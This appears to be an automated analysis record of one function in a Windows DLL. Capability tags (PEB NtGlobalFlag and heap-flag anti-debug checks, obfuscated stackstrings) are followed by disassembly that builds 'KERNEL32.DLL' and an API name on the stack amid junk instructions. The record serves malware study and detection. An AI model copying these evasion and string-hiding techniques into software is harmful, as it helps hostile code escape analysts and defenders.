Function at 0x18000aaf0
Capabilities:
Check for peb ntglobalflag flag
Contain obfuscated stackstrings
Get number of processors
Get process heap flags
Get process heap force flags
Parse pe header

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x798
mov dword [rsp + 0x430], 0x6a232424
mov dword [rsp + 0x434], 0xa0992c9b
cmp dword [rsp + 0x7a8], 1
je 0x18000103f
mov eax, 1
jmp 0x180002d89
movabs rax, 0x1192b75c1a25b419
mov qword [rsp + 0x550], rax
add dh, al
test byte [rsp + rdx*4], ah
add dword [rax], eax
add byte [rsi], ch
mov byte [rsp + 0x1a1], 0xec
mov dword [rsp + 0x438], 0xc8dd9bdc
movabs rax, 0xd5d15aa65eb71a37
mov qword [rsp + 0x778], rax
movabs rax, 0x4fe00926cec57113
adc esi, dword [rcx - 0x3b]
invalid
or eax, esp
mov qword [rsp + 0x490], rax
movabs rax, 0x26f574e57cc9cb13
mov qword [rsp + 0x498], rax
mov dword [rsp + 0x43c], 0x4effbbad
movabs rax, 0x8bbf7f556174f5aa
mov qword [rsp + 0x4a0], rax
mov qword [rsp + 0x2f0], 0
mov byte [rsp + 0x150], 0xfe
movabs rax, 0xb5ac4cfcb2c62f69
mov qword [rsp + 0x4a8], rax
movabs rax, 0x23247f694334bb6d
mov qword [rsp + 0x4b0], rax
mov dword [rsp + 0x488], 0x2415a1c4
adc eax, 0x8b486524
add al, 0x25
xor byte [rax], al
add byte [rax], al
mov qword [rsp + 0x2f0], rax
movabs rax, 0xe7b2e73f53b1f97e
mov qword [rsp + 0x4b8], rax
mov dword [rsp + 0x48c], 0xfb6ff78b
movabs rax, 0x1e3f3a3d8a1aa2b2
mov qword [rsp + 0x4c0], rax
movabs rax, 0x5f41ded9ec3743ad
mov qword [rsp + 0x4c8], rax
mov dword [rsp + 0x2f8], 0xf131b7a3
mov dword [rsp + 0x2fc], 0x40e6760f
mov rax, qword [rsp + 0x2f0]
mov rax, qword [rax + 0x60]
mov qword [rsp + 0x448], rax
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x448]
mov rax, qword [rcx + rax + 8]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0x300], 0x9f23c8c1
movabs rax, 0xa673a055650fa848
mov qword [rsp + 0x4d0], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x4b
movabs rax, 0xc42fe7cc7ab71a49
mov qword [rsp + 0x4d8], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x45
movabs rax, 0x8296c9b496d13bfd
mov qword [rsp + 0x4e0], rax
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x52
movabs rax, 0x5294105e1823183a
mov qword [rsp + 0x4e8], rax
mov byte [rsp + 0x151], 0x51
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x4e
mov dword [rsp + 0x304], 0x51f70cda
mov byte [rsp + 0x152], 0x9c
mov byte [rsp + 0x153], 0xe1
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x45
mov dword [rsp + 0x308], 0xd492360
mov byte [rsp + 0x154], 0x78
mov byte [rsp + 0x155], 0x8c
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x4c
mov dword [rsp + 0x30c], 0x30a0d337
mov dword [rsp + 0x310], 0x52bb1c9e
and al, 0x10
add eax, dword [rax]
add byte [rsi - 0x38ad44e4], bl
test byte [rsp + rdx], ah
add eax, dword [rax]
add al, ch
adc eax, dword [rdi]
xchg esp, eax
mov dword [rsp + 0x318], 0x97629fc5
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x33
mov dword [rsp + 0x31c], 0xb75fd48d
mov eax, 1
imul rax, rax, 7
mov byte [rsp + rax + 0x1e0], 0x32
movabs rax, 0x3001474fa01c3950
mov qword [rsp + 0x4f0], rax
mov eax, 1
imul rax, rax, 8
mov byte [rsp + rax + 0x1e0], 0x2e
mov eax, 1
imul rax, rax, 9
mov byte [rsp + rax + 0x1e0], 0x44
mov byte [rsp + 0x156], 0x5b
movabs rax, 0xb41c4df1168e3980
mov qword [rsp + 0x4f8], rax
mov dword [rsp + 0x320], 0xf44fd811
mov eax, 1
imul rax, rax, 0xa
mov byte [rsp + rax + 0x1e0], 0x4c
movabs rax, 0x81cbcef67941feaa
mov qword [rsp + 0x500], rax
mov byte [rsp + 0x157], 0x3c
movabs rax, 0x306d959596405cc
mov qword [rsp + 0x508], rax
mov eax, 1
imul rax, rax, 0xb
mov byte [rsp + rax + 0x1e0], 0x4c
movabs rax, 0x28a31be46a6dbefe
mov qword [rsp + 0x510], rax
movabs rax, 0x4d2a08869d365b51
mov qword [rsp + 0x518], rax
mov dword [rsp + 0x518], eax
movabs rax, 0x168058d958b7b4c5
mov qword [rsp + 0x520], rax
mov eax, 1
imul rax, rax, 0xc
mov byte [rsp + rax + 0x1e0], 0
movabs rax, 0x3fac1098f148ffb7
mov qword [rsp + 0x528], rax
mov dword [rsp + 0x324], 0x28b3120e
mov dword [rsp + 0x328], 0x953deaf2
mov dword [rsp + 0x3b4], 0x8c2f51de
lea rcx, [rsp + 0x1e0]
mov rax, qword [rsp + 0x1a8]
call qword [rax + 0x4496d0]
mov qword [rsp + 0x1b8], rax
mov eax, 1
imul rax, rax, 0
mov byte [rsp + rax + 0x1e0], 0x43
movabs rax, 0x4fcbcde914e5a69c
mov qword [rsp + 0x530], rax
mov eax, 1
imul rax, rax, 1
mov byte [rsp + rax + 0x1e0], 0x6c
mov dword [rsp + 0x32c], 0x8d9e6909
mov byte [rsp + 0x158], reloc.OLEAUT32.dll_SetErrorInfo
mov eax, 1
imul rax, rax, 2
mov byte [rsp + rax + 0x1e0], 0x6f
movabs rax, 0xeb1aee665e8c1252
mov qword [rsp + 0x538], rax
mov eax, 1
imul rax, rax, 3
mov byte [rsp + rax + 0x1e0], 0x73
movabs rax, 0x573d4b3a6738802
mov qword [rsp + 0x540], rax
mov dword [rsp + 0x330], 0xe74424be
movabs rax, 0x8804dbf6d4e1ade8
mov qword [rsp + 0x548], rax
mov eax, 1
imul rax, rax, 4
mov byte [rsp + rax + 0x1e0], 0x65
mov byte [rsp + 0x159], 0x4f
mov byte [rsp + 0x15a], 0x37
movabs rax, 0xe74c5920fefaf640
mov qword [rsp + 0x668], rax
mov byte [rsp + 0x15b], 0x63
mov eax, 1
imul rax, rax, 5
mov byte [rsp + rax + 0x1e0], 0x48
mov dword [rsp + 0x334], 0x986ed419
mov byte [rsp + 0x15c], 0xd
mov eax, 1
imul rax, rax, 6
mov byte [rsp + rax + 0x1e0], 0x61
mov dword [rsp + 0x338], 0x460db875
jmp 0x180001005